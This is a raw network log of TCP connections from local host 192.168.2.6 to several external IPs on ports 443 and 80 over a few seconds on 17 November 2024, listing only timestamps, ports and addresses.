Nov 17, 2024 12:35:16.746737957 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.746876001 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.746892929 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.749636889 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.749711990 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.749780893 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.749855995 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.749855995 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.749881029 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.749892950 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.752108097 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.752140999 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.752216101 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.752332926 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.752350092 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.771034956 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.771243095 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.771308899 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.771414042 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.771430016 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.771441936 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.771447897 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.773478985 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.773518085 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.773703098 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.773876905 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.773893118 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.458622932 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.459418058 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.459445953 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.460043907 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.460051060 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.478893995 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.479343891 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.479379892 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.479897022 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.479903936 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.489456892 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.489907980 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.489936113 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.490441084 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.490453005 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.504018068 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.504343987 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.504370928 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.504709005 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.504715919 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.519965887 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.520265102 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.520284891 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.520607948 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.520612955 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.590574980 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.590694904 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.590765953 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.591073036 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.591099977 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.591115952 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.591124058 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.594583988 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.594624043 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.594705105 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.594857931 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.594866991 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.607081890 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.607233047 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.607292891 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.607413054 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.607420921 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.607436895 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.607443094 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.611126900 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.611145020 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.611223936 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.611388922 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.611402988 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.621051073 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.621198893 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.621295929 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.621295929 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.621330976 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.621352911 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.624140024 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.624172926 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.624255896 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.624495029 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.624511003 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.639880896 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.640064001 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.640127897 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.640151024 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.640170097 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.640187025 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.640192986 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.642112970 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.642138958 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.642216921 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.642326117 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.642355919 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.648608923 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.648837090 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.648900986 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.648936033 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.648936033 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.648946047 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.648957014 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.651232004 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.651262045 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.651329994 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.651518106 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:17.651540041 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:17.899540901 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:17.899672031 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:17.899854898 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:17.903875113 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:17.903908014 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:17.950324059 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:17.950356007 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:17.950551033 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:17.950841904 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:17.950867891 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.336976051 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.337645054 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.337672949 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.338114023 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.338120937 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.354125977 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.354507923 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.354532003 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.354912043 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.354919910 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.369193077 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.369501114 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.369522095 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.369889021 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.369898081 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.374888897 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.375173092 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.375219107 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.375550032 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.375557899 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.386307001 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.386595964 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.386625051 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.386946917 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.386953115 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.466033936 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.466299057 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.466362953 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.466394901 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.466413975 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.466424942 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.466432095 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.468509912 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.468583107 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.468655109 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.468754053 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.468774080 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.485179901 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.485532999 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.485718966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.485718966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.485718966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.487746000 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.487775087 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.487870932 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.487982035 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.487989902 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.501243114 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.501410961 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.501641035 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.501722097 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.501722097 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.501765013 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.501791954 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.503578901 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.503612041 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.503690004 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.503808975 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.503823996 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.505971909 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.506119967 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.506176949 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.506211996 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.506234884 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.506248951 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.506257057 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.507886887 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.507910967 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.507985115 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.508096933 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.508111954 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.513822079 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.513886929 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.513931036 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.513988972 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.513998032 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.514009953 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.514014006 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.515506029 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.515551090 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.515621901 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.515722990 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.515753984 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.551003933 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.551129103 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.553379059 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.553392887 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.553771019 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.554857016 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.554879904 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.554955959 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.705252886 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:18.705286026 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:18.817282915 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:18.817316055 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:18.817395926 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:18.819196939 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:18.819211960 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:18.863792896 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.863919020 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.863976002 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.864131927 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.864149094 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.864180088 CET	49744	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:18.864187002 CET	443	49744	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:18.867371082 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:18.872369051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:18.872545004 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:18.872651100 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:18.877551079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.201764107 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.202491999 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.202523947 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.203012943 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.203020096 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.223880053 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.224293947 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.224328041 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.224680901 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.224685907 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.238717079 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.239136934 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.239145994 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.239547014 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.239552975 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.250739098 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.251174927 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.251207113 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.251460075 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.251467943 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.256360054 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.256973982 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.256984949 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.257364035 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.257369995 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.330563068 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.330714941 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.330770969 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.331424952 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.331424952 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.331464052 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.331490993 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.334702015 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.334744930 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.334801912 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.335274935 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.335292101 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.356149912 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.356303930 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.356358051 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.356436014 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.356451988 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.356462002 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.356467962 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.359646082 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.359688044 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.359785080 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.360060930 CET	49754	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.360085011 CET	443	49754	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.371634960 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.371799946 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.371867895 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.372473001 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.372473001 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.372515917 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.372545004 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.376610994 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.376652956 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.376713037 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.377304077 CET	49755	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.377320051 CET	443	49755	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.386575937 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.386758089 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.386799097 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.387665987 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.387686968 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.387702942 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.387711048 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.388668060 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.388901949 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.388955116 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.388987064 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.388998032 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.389013052 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.389019966 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.390738010 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.390786886 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.390847921 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.391623974 CET	49756	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.391644001 CET	443	49756	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.391848087 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.391896009 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.391990900 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.392097950 CET	49757	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:19.392110109 CET	443	49757	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:19.725325108 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:19.725400925 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:19.726980925 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:19.726995945 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:19.727793932 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:19.767719030 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:19.798315048 CET	49750	443	192.168.2.6	52.149.20.212
Nov 17, 2024 12:35:19.800183058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800324917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800363064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.800398111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800410032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800514936 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.800585985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800596952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800609112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800621033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800633907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800651073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.800652027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.800683022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:19.805211067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:19.843333006 CET	443	49750	52.149.20.212	192.168.2.6
Nov 17, 2024 12:35:19.845835924 CET	49751	80	192.168.2.6	185.215.113.16
